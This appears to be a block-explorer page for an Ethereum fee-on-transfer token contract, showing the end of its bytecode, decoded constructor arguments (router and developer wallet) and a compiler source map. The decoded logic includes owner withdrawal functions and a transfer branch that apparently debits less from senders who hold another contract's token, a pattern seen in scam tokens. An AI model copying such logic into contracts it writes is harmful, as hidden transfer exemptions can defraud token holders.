26020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc549091906108286009600a6116b4565b61083690633b9aca006116c3565b61084091906116fc565b61084a91906116fc565b905090565b600080546001600160a01b0316331461087a5760405162461bcd60e51b81526004016105829061159a565b816000036108ed576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea919061170f565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561093a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c19190611728565b600061062a826000196105c3565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016105829061159a565b600080546001600160a01b0319169055565b60006107c1338484610c5c565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016105829061159a565b47600060646109ee84846116c3565b6109f891906116da565b604051909150339082156108fc029083906000818181858888f19350505050158015610a28573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a585760405162461bcd60e51b81526004016105829061159a565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610ad9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610afe919061174a565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611778565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063e6a4390590604401602060405180830381865afa158015610bdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c009190611778565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c465760405162461bcd60e51b81526004016105829190611436565b506000610c5384866116fc565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610c9e57506001600160a01b03831660009081526005602052604090205460ff16155b8015610cb85750600c546001600160a01b03848116911614155b15610d32576001546001600160a01b038416600090815260026020526040902054610ce4908490611795565b1115610d325760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610582565b600e5460ff16610d4e57610d47848484610ea5565b90506107c1565b610d56611016565b15610d6357610d6361106c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610db5918490610c22565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e0257506001600160a01b03841660009081526004602052604090205460ff165b610e1657610e1185848661118b565b610e18565b825b6001600160a01b038516600090815260026020526040902054909150610e3e90826112a8565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e929085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610f8192610f3392859216906370a0823190602401602060405180830381865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e919061170f565b11610f2a576000610f2c565b835b8490611307565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c22565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fb090836112a8565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110049086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b031633148015906110375750600e5460ff16155b801561104c5750600c54600160a01b900460ff165b801561084a575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ae576110ae6117a8565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611102576111026117a8565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161114c91906000908690309042906004016117be565b600060405180830381600087803b15801561116657600080fd5b505af115801561117a573d6000803e3d6000fd5b5050600e805460ff19169055505050565b600082158061119a5750600654155b156111a65750816107c1565b600954600c546001600160a01b03908116908416036111c857506008546111e3565b600c546001600160a01b03908116908616036111e357506007545b60006112186111f36064806116c3565b6112128461120c6006548a61134990919063ffffffff16565b90611349565b906113cb565b90508015611294573060009081526002602052604090205461123a90826112a8565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061128b9085815260200190565b60405180910390a35b61129e8582611307565b9695505050505050565b6000806112b58385611795565b9050838110156107c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610582565b60006107c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c22565b60008260000361135b5750600061062a565b600061136783856116c3565b90508261137485836116da565b146107c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610582565b60006107c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114295760405162461bcd60e51b81526004016105829190611436565b506000610c5384866116da565b600060208083528351808285015260005b8181101561146357858101830151858201604001528201611447565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561149657600080fd5b5035919050565b6001600160a01b03811681146114b257600080fd5b50565b600080604083850312156114c857600080fd5b82356114d38161149d565b946020939093013593505050565b600080604083850312156114f457600080fd5b50508035926020909101359150565b60008060006060848603121561151857600080fd5b83356115238161149d565b925060208401356115338161149d565b929592945050506040919091013590565b60006020828403121561155657600080fd5b81356107c18161149d565b6000806040838503121561157457600080fd5b823561157f8161149d565b9150602083013561158f8161149d565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561160b5781600019048211156115f1576115f16115ba565b808516156115fe57918102915b93841c93908002906115d5565b509250929050565b6000826116225750600161062a565b8161162f5750600061062a565b8160018114611645576002811461164f5761166b565b600191505061062a565b60ff841115611660576116606115ba565b50506001821b61062a565b5060208310610133831016604e8410600b841016171561168e575081810a61062a565b61169883836115d0565b80600019048211156116ac576116ac6115ba565b029392505050565b60006107c160ff841683611613565b808202811582820484141761062a5761062a6115ba565b6000826116f757634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561062a5761062a6115ba565b60006020828403121561172157600080fd5b5051919050565b60006020828403121561173a57600080fd5b815180151581146107c157600080fd5b60008060006060848603121561175f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178a57600080fd5b81516107c18161149d565b8082018082111561062a5761062a6115ba565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561180e5784516001600160a01b0316835293830193918301916001016117e9565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205faeb24eebc738ec174f863b3d994c58314d956513645af3855232312367f72664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000fcb993efe9de8839b2548b20fe094b567d50b503

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : devWallet_ (address): 0xfCb993efE9De8839b2548b20Fe094B567d50B503

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000fcb993efe9de8839b2548b20fe094b567d50b503


Deployed Bytecode Sourcemap

3240:7083:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3493:38;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3493:38:0;;;;;;;;;;;;:::i;:::-;;;;;;;;6208:174;;;;;;;;;;-1:-1:-1;6208:174:0;;;;;:::i;:::-;;:::i;:::-;;5312:216;;;;;;;;;;-1:-1:-1;5312:216:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;5312:216:0;1208:187:1;9390:237:0;;;;;;;;;;-1:-1:-1;9390:237:0;;;;;:::i;:::-;;:::i;4020:44::-;;;;;;;;;;;;4061:3;4020:44;;;;;1799:25:1;;;1787:2;1772:18;4020:44:0;1653:177:1;3632:58:0;;;;;;;;;;;;;:::i;3986:27::-;;;;;;;;;;;;;;;;5830:370;;;;;;;;;;-1:-1:-1;5830:370:0;;;;;:::i;:::-;;:::i;10183:137::-;;;;;;;;;;;;;:::i;2225:103::-;;;;;;;;;;-1:-1:-1;2225:103:0;;;;;:::i;:::-;2280:4;2315:5;-1:-1:-1;;;;;2304:16:0;;;2315:5;;2304:16;;2225:103;3585:34;;;;;;;;;;;;3618:1;3585:34;;;;;2720:4:1;2708:17;;;2690:36;;2678:2;2663:18;3585:34:0;2548:184:1;9895:280:0;;;;;;;;;;-1:-1:-1;9895:280:0;;;;;:::i;:::-;;:::i;3930:47::-;;;;;;;;;;-1:-1:-1;3930:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3879:44;;;;;;;;;;-1:-1:-1;3879:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5536:122;;;;;;;;;;-1:-1:-1;5536:122:0;;;;;:::i;:::-;;:::i;4282:30::-;;;;;;;;;;-1:-1:-1;4282:30:0;;;;-1:-1:-1;;;4282:30:0;;;;;;3757:45;;;;;;;;;;-1:-1:-1;3757:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;2336:85;;;;;;;;;;;;;:::i;3699:49::-;;;;;;;;;;;;;;;;5087:78;;;;;;;;;;-1:-1:-1;5139:7:0;5157:5;-1:-1:-1;;;;;5157:5:0;5087:78;;;-1:-1:-1;;;;;2901:32:1;;;2883:51;;2871:2;2856:18;5087:78:0;2737:203:1;4254:19:0;;;;;;;;;;-1:-1:-1;4254:19:0;;;;-1:-1:-1;;;;;4254:19:0;;;5666:156;;;;;;;;;;-1:-1:-1;5666:156:0;;;;;:::i;:::-;;:::i;9635:252::-;;;;;;;;;;-1:-1:-1;9635:252:0;;;;;:::i;:::-;;:::i;5171:133::-;;;;;;;;;;-1:-1:-1;5171:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5273:19:0;;;5255:7;5273:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5171:133;6390:475;;;:::i;4187:28::-;;;;;;;;;;-1:-1:-1;4187:28:0;;;;-1:-1:-1;;;;;4187:28:0;;;6208:174;2280:4;2315:5;-1:-1:-1;;;;;2315:5:0;2184:10;2304:16;2168:38;;;;-1:-1:-1;;;2168:38:0;;;;;;;:::i;:::-;;;;;;;;;6370:4:::1;6342:23:::0;3678:12:::1;3618:1;3678:2;:12;:::i;:::-;3670:20;::::0;:5:::1;:20;:::i;:::-;6328:37;;;;:::i;:::-;6327:47;;;;:::i;:::-;6309:15;:65:::0;-1:-1:-1;6208:174:0:o;5312:216::-;5416:10;5387:4;5404:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5404:32:0;;;;;;;;;;:41;;;5461:37;5387:4;;5404:32;;5461:37;;;;5439:6;1799:25:1;;1787:2;1772:18;;1653:177;5461:37:0;;;;;;;;-1:-1:-1;5516:4:0;5312:216;;;;;:::o;9390:237::-;2280:4;2315:5;-1:-1:-1;;;;;2315:5:0;2184:10;2304:16;2168:38;;;;-1:-1:-1;;;2168:38:0;;;;;;;:::i;:::-;9483:3:::1;9474:5;:12;;9466:40;;;::::0;-1:-1:-1;;;9466:40:0;;6014:2:1;9466:40:0::1;::::0;::::1;5996:21:1::0;6053:2;6033:18;;;6026:30;-1:-1:-1;;;6072:18:1;;;6065:46;6128:18;;9466:40:0::1;5812:340:1::0;9466:40:0::1;9533:3;9525:4;:11;;9517:38;;;::::0;-1:-1:-1;;;9517:38:0;;6359:2:1;9517:38:0::1;::::0;::::1;6341:21:1::0;6398:2;6378:18;;;6371:30;-1:-1:-1;;;6417:18:1;;;6410:45;6472:18;;9517:38:0::1;6157:339:1::0;9517:38:0::1;9566:14;:22:::0;9599:13:::1;:20:::0;9390:237::o;3632:58::-;3678:12;3618:1;3678:2;:12;:::i;:::-;3670:20;;:5;:20;:::i;:::-;3632:58;:::o;5830:370::-;-1:-1:-1;;;;;5950:19:0;;5930:4;5950:19;;;:11;:19;;;;;;;;5970:10;5950:31;;;;;;;;-1:-1:-1;;5950:52:0;5947:186;;6052:69;;;;;;;;;;;-1:-1:-1;;;6052:69:0;;;;;;;;-1:-1:-1;;;;;6052:19:0;;-1:-1:-1;6052:19:0;;;:11;:19;;;;;6072:10;6052:31;;;;;;;;;;:69;;6088:6;;6052:35;:69::i;:::-;-1:-1:-1;;;;;6018:19:0;;;;;;:11;:19;;;;;;;;6038:10;6018:31;;;;;;;:103;5947:186;6152:40;6166:6;6174:9;6185:6;6152:13;:40::i;:::-;6145:47;;5830:370;;;;;;:::o;10183:137::-;10296:9;:15;;;;3369:42;10236:7;10278:15;;;;;10236:7;;10296:15;3678:12;3618:1;3678:2;:12;:::i;:::-;3670:20;;:5;:20;:::i;:::-;10264:29;;;;:::i;:::-;:47;;;;:::i;:::-;10256:56;;10183:137;:::o;9895:280::-;9982:12;2315:5;;-1:-1:-1;;;;;2315:5:0;2184:10;2304:16;2168:38;;;;-1:-1:-1;;;2168:38:0;;;;;;;:::i;:::-;10010:6:::1;10020:1;10010:11:::0;10007:95:::1;;10046:44;::::0;-1:-1:-1;;;10046:44:0;;10084:4:::1;10046:44;::::0;::::1;2883:51:1::0;-1:-1:-1;;;;;10046:29:0;::::1;::::0;::::1;::::0;2856:18:1;;10046:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10037:53;;10007:95;10119:48;::::0;-1:-1:-1;;;10119:48:0;;10148:10:::1;10119:48;::::0;::::1;6997:51:1::0;7064:18;;;7057:34;;;-1:-1:-1;;;;;10119:28:0;::::1;::::0;::::1;::::0;6970:18:1;;10119:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5536:122::-:0;5591:4;5615:35;5623:7;-1:-1:-1;;5615:7:0;:35::i;2336:85::-;2280:4;2315:5;-1:-1:-1;;;;;2315:5:0;2184:10;2304:16;2168:38;;;;-1:-1:-1;;;2168:38:0;;;;;;;:::i;:::-;2411:1:::1;2395:18:::0;;-1:-1:-1;;;;;;2395:18:0::1;::::0;;2336:85::o;5666:156::-;5746:4;5770:44;5784:10;5796:9;5807:6;5770:13;:44::i;9635:252::-;2280:4;2315:5;-1:-1:-1;;;;;2315:5:0;2184:10;2304:16;2168:38;;;;-1:-1:-1;;;2168:38:0;;;;;;;:::i;:::-;9731:21:::1;9711:17;9822:3;9789:28;9801:16:::0;9731:21;9789:28:::1;:::i;:::-;9787:38;;;;:::i;:::-;9836:43;::::0;9763:62;;-1:-1:-1;9844:10:0::1;::::0;9836:43;::::1;;;::::0;9763:62;;9836:43:::1;::::0;;;9763:62;9844:10;9836:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9700:187;;9635:252:::0;:::o;6390:475::-;2280:4;2315:5;-1:-1:-1;;;;;2315:5:0;2184:10;2304:16;2168:38;;;;-1:-1:-1;;;2168:38:0;;;;;;;:::i;:::-;6452:6:::1;::::0;6515:4:::1;6452:6;6551:24:::0;;;:9:::1;:24;::::0;;;;;;6696:5;;6452:325;;-1:-1:-1;;;6452:325:0;;::::1;::::0;::::1;7725:34:1::0;;;;7775:18;;;7768:34;7818:18;;;7811:34;;;7861:18;;;7854:34;;;;-1:-1:-1;;;;;6696:5:0;;::::1;7904:19:1::0;;;7897:44;6751:15:0::1;7957:19:1::0;;;7950:35;6452:6:0;;::::1;::::0;:22:::1;::::0;6482:9:::1;::::0;7659:19:1;;6452:325:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6811:6:0::1;::::0;:16:::1;::::0;;-1:-1:-1;;;6811:16:0;;;;-1:-1:-1;;;;;6811:6:0;;::::1;::::0;-1:-1:-1;6811:14:0::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:6;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6795:62;::::0;-1:-1:-1;;;6795:62:0;;6845:4:::1;6795:62;::::0;::::1;8775:34:1::0;-1:-1:-1;;;;;6852:4:0::1;8845:15:1::0;;8825:18;;;8818:43;6795:41:0;;;::::1;::::0;::::1;::::0;8710:18:1;;6795:62:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6788:4;:69:::0;;-1:-1:-1;;;;;;6788:69:0::1;-1:-1:-1::0;;;;;6788:69:0;;;::::1;::::0;;;::::1;::::0;;6390:475::o;541:192::-;627:7;663:12;655:6;;;;647:29;;;;-1:-1:-1;;;647:29:0;;;;;;;;:::i;:::-;-1:-1:-1;687:9:0;699:5;703:1;699;:5;:::i;:::-;687:17;541:192;-1:-1:-1;;;;;541:192:0:o;6875:810::-;-1:-1:-1;;;;;6989:22:0;;6967:4;6989:22;;;:14;:22;;;;;;;;6988:23;:53;;;;-1:-1:-1;;;;;;7016:25:0;;;;;;:14;:25;;;;;;;;7015:26;6988:53;:74;;;;-1:-1:-1;7058:4:0;;-1:-1:-1;;;;;7045:17:0;;;7058:4;;7045:17;;6988:74;6984:193;;;7122:15;;-1:-1:-1;;;;;7088:20:0;;;;;;:9;:20;;;;;;:29;;7111:6;;7088:29;:::i;:::-;7087:50;;7079:86;;;;-1:-1:-1;;;7079:86:0;;9204:2:1;7079:86:0;;;9186:21:1;9243:2;9223:18;;;9216:30;9282:26;9262:18;;;9255:54;9326:18;;7079:86:0;9002:348:1;7079:86:0;7191:6;;;;7187:64;;7207:41;7222:6;7230:9;7241:6;7207:14;:41::i;:::-;7200:48;;;;7187:64;7270:16;:14;:16::i;:::-;7267:35;;;7289:10;:8;:10::i;:::-;7334:53;;;;;;;;;;;-1:-1:-1;;;7334:53:0;;;;;;;;-1:-1:-1;;;;;7334:17:0;;-1:-1:-1;7334:17:0;;;:9;:17;;;;;;;;:53;;7356:6;;7334:21;:53::i;:::-;-1:-1:-1;;;;;7314:17:0;;;;;;:9;:17;;;;;;;;:73;;;;7426:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;7449:22:0;;;;;;:11;:22;;;;;;;;7426:45;7425:93;;7484:34;7492:6;7500;7508:9;7484:7;:34::i;:::-;7425:93;;;7475:6;7425:93;-1:-1:-1;;;;;7554:20:0;;;;;;:9;:20;;;;;;7400:118;;-1:-1:-1;7554:40:0;;7400:118;7554:24;:40::i;:::-;-1:-1:-1;;;;;7531:20:0;;;;;;;:9;:20;;;;;;;:63;;;;7612:43;;;;;;;;;;7640:14;1799:25:1;;1787:2;1772:18;;1653:177;7612:43:0;;;;;;;;-1:-1:-1;7673:4:0;;6875:810;-1:-1:-1;;;;6875:810:0:o;7697:381::-;7866:9;;7860:34;;-1:-1:-1;;;7860:34:0;;-1:-1:-1;;;;;2901:32:1;;;7860:34:0;;;2883:51:1;7790:4:0;;7827:104;;7849:57;;7790:4;;7866:9;;7860:26;;2856:18:1;;7860:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:36;:45;;7904:1;7860:45;;;7897:6;7860:45;7849:6;;:10;:57::i;:::-;7827:104;;;;;;;;;;;-1:-1:-1;;;7827:104:0;;;;;;;;-1:-1:-1;;;;;7827:17:0;;-1:-1:-1;7827:17:0;;;:9;:17;;;;;;;;;:104;:21;:104::i;:::-;-1:-1:-1;;;;;7807:17:0;;;;;;;:9;:17;;;;;;:124;;;;7965:20;;;;;;;:32;;7990:6;7965:24;:32::i;:::-;-1:-1:-1;;;;;7942:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8013:35;;;;;;;;;;8041:6;1799:25:1;;1787:2;1772:18;;1653:177;8013:35:0;;;;;;;;-1:-1:-1;8066:4:0;7697:381;;;;;:::o;8817:197::-;8904:4;;8866;;-1:-1:-1;;;;;8904:4:0;8890:10;:18;;;;:38;;-1:-1:-1;8922:6:0;;;;8921:7;8890:38;:62;;;;-1:-1:-1;8941:11:0;;-1:-1:-1;;;8941:11:0;;;;8890:62;:116;;;;-1:-1:-1;;8993:13:0;;8983:4;8965:24;;;;:9;:24;;;;;;:41;;;8817:197::o;9022:360::-;4407:6;:13;;-1:-1:-1;;4407:13:0;4416:4;4407:13;;;9097:16:::1;::::0;;9111:1:::1;9097:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9097:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9097:16:0::1;9073:40;;9142:4;9124;9129:1;9124:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9124:23:0::1;;;-1:-1:-1::0;;;;;9124:23:0::1;;;::::0;::::1;9168:4;9158;9163:1;9158:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9158:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;9185:6:::1;::::0;9257:13:::1;::::0;9185:189:::1;::::0;-1:-1:-1;;;9185:189:0;;:6;;;::::1;::::0;:57:::1;::::0;:189:::1;::::0;9257:13;9185:6:::1;::::0;9301:4;;9328::::1;::::0;9348:15:::1;::::0;9185:189:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4425:6:0;:14;;-1:-1:-1;;4425:14:0;;;-1:-1:-1;;;9022:360:0:o;8086:723::-;8172:7;8195:11;;;:28;;-1:-1:-1;8210:8:0;;:13;8195:28;8192:72;;;-1:-1:-1;8246:6:0;8239:13;;8192:72;8297:18;;8344:4;;-1:-1:-1;;;;;8344:4:0;;;8331:17;;;;8328:154;;-1:-1:-1;8378:14:0;;8328:154;;;8423:4;;-1:-1:-1;;;;;8423:4:0;;;8413:14;;;;8410:72;;-1:-1:-1;8457:13:0;;8410:72;8494:17;8514:62;8555:20;4061:3;;8555:20;:::i;:::-;8514:36;8539:10;8514:20;8525:8;;8514:6;:10;;:20;;;;:::i;:::-;:24;;:36::i;:::-;:40;;:62::i;:::-;8494:82;-1:-1:-1;8592:13:0;;8589:172;;8666:4;8648:24;;;;:9;:24;;;;;;:39;;8677:9;8648:28;:39::i;:::-;8639:4;8621:24;;;;:9;:24;;;;;;;:66;;;;8707:42;;-1:-1:-1;;;;;8707:42:0;;;;;;;8739:9;1799:25:1;;1787:2;1772:18;;1653:177;8707:42:0;;;;;;;;8589:172;8780:21;:6;8791:9;8780:10;:21::i;:::-;8773:28;8086:723;-1:-1:-1;;;;;;8086:723:0:o;212:181::-;270:7;;302:5;306:1;302;:5;:::i;:::-;290:17;;331:1;326;:6;;318:46;;;;-1:-1:-1;;;318:46:0;;10806:2:1;318:46:0;;;10788:21:1;10845:2;10825:18;;;10818:30;10884:29;10864:18;;;10857:57;10931:18;;318:46:0;10604:351:1;399:136:0;457:7;484:43;488:1;491;484:43;;;;;;;;;;;;;;;;;:3;:43::i;739:250::-;797:7;821:1;826;821:6;817:47;;-1:-1:-1;851:1:0;844:8;;817:47;876:9;888:5;892:1;888;:5;:::i;:::-;876:17;-1:-1:-1;921:1:0;912:5;916:1;876:17;912:5;:::i;:::-;:10;904:56;;;;-1:-1:-1;;;904:56:0;;11162:2:1;904:56:0;;;11144:21:1;11201:2;11181:18;;;11174:30;11240:34;11220:18;;;11213:62;-1:-1:-1;;;11291:18:1;;;11284:31;11332:19;;904:56:0;10960:397:1;995:132:0;1053:7;1080:39;1084:1;1087;1080:39;;;;;;;;;;;;;;;;;1219:7;1254:12;1247:5;1239:28;;;;-1:-1:-1;;;1239:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1278:9:0;1290:5;1294:1;1290;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:180::-;626:6;679:2;667:9;658:7;654:23;650:32;647:52;;;695:1;692;685:12;647:52;-1:-1:-1;718:23:1;;567:180;-1:-1:-1;567:180:1:o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1400:248::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;-1:-1:-1;;1568:23:1;;;1638:2;1623:18;;;1610:32;;-1:-1:-1;1400:248:1:o;1835:456::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;2036:9;2023:23;2055:31;2080:5;2055:31;:::i;:::-;2105:5;-1:-1:-1;2162:2:1;2147:18;;2134:32;2175:33;2134:32;2175:33;:::i;:::-;1835:456;;2227:7;;-1:-1:-1;;;2281:2:1;2266:18;;;;2253:32;;1835:456::o;2296:247::-;2355:6;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2463:9;2450:23;2482:31;2507:5;2482:31;:::i;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3568:329::-;3770:2;3752:21;;;3809:1;3789:18;;;3782:29;-1:-1:-1;;;3842:2:1;3827:18;;3820:36;3888:2;3873:18;;3568:329::o;3902:127::-;3963:10;3958:3;3954:20;3951:1;3944:31;3994:4;3991:1;3984:15;4018:4;4015:1;4008:15;4034:422;4123:1;4166:5;4123:1;4180:270;4201:7;4191:8;4188:21;4180:270;;;4260:4;4256:1;4252:6;4248:17;4242:4;4239:27;4236:53;;;4269:18;;:::i;:::-;4319:7;4309:8;4305:22;4302:55;;;4339:16;;;;4302:55;4418:22;;;;4378:15;;;;4180:270;;;4184:3;4034:422;;;;;:::o;4461:806::-;4510:5;4540:8;4530:80;;-1:-1:-1;4581:1:1;4595:5;;4530:80;4629:4;4619:76;;-1:-1:-1;4666:1:1;4680:5;;4619:76;4711:4;4729:1;4724:59;;;;4797:1;4792:130;;;;4704:218;;4724:59;4754:1;4745:10;;4768:5;;;4792:130;4829:3;4819:8;4816:17;4813:43;;;4836:18;;:::i;:::-;-1:-1:-1;;4892:1:1;4878:16;;4907:5;;4704:218;;5006:2;4996:8;4993:16;4987:3;4981:4;4978:13;4974:36;4968:2;4958:8;4955:16;4950:2;4944:4;4941:12;4937:35;4934:77;4931:159;;;-1:-1:-1;5043:19:1;;;5075:5;;4931:159;5122:34;5147:8;5141:4;5122:34;:::i;:::-;5192:6;5188:1;5184:6;5180:19;5171:7;5168:32;5165:58;;;5203:18;;:::i;:::-;5241:20;;4461:806;-1:-1:-1;;;4461:806:1:o;5272:140::-;5330:5;5359:47;5400:4;5390:8;5386:19;5380:4;5359:47;:::i;5417:168::-;5490:9;;;5521;;5538:15;;;5532:22;;5518:37;5508:71;;5559:18;;:::i;5590:217::-;5630:1;5656;5646:132;;5700:10;5695:3;5691:20;5688:1;5681:31;5735:4;5732:1;5725:15;5763:4;5760:1;5753:15;5646:132;-1:-1:-1;5792:9:1;;5590:217::o;6501:128::-;6568:9;;;6589:11;;;6586:37;;;6603:18;;:::i;6634:184::-;6704:6;6757:2;6745:9;6736:7;6732:23;6728:32;6725:52;;;6773:1;6770;6763:12;6725:52;-1:-1:-1;6796:16:1;;6634:184;-1:-1:-1;6634:184:1:o;7102:277::-;7169:6;7222:2;7210:9;7201:7;7197:23;7193:32;7190:52;;;7238:1;7235;7228:12;7190:52;7270:9;7264:16;7323:5;7316:13;7309:21;7302:5;7299:32;7289:60;;7345:1;7342;7335:12;7996:306;8084:6;8092;8100;8153:2;8141:9;8132:7;8128:23;8124:32;8121:52;;;8169:1;8166;8159:12;8121:52;8198:9;8192:16;8182:26;;8248:2;8237:9;8233:18;8227:25;8217:35;;8292:2;8281:9;8277:18;8271:25;8261:35;;7996:306;;;;;:::o;8307:251::-;8377:6;8430:2;8418: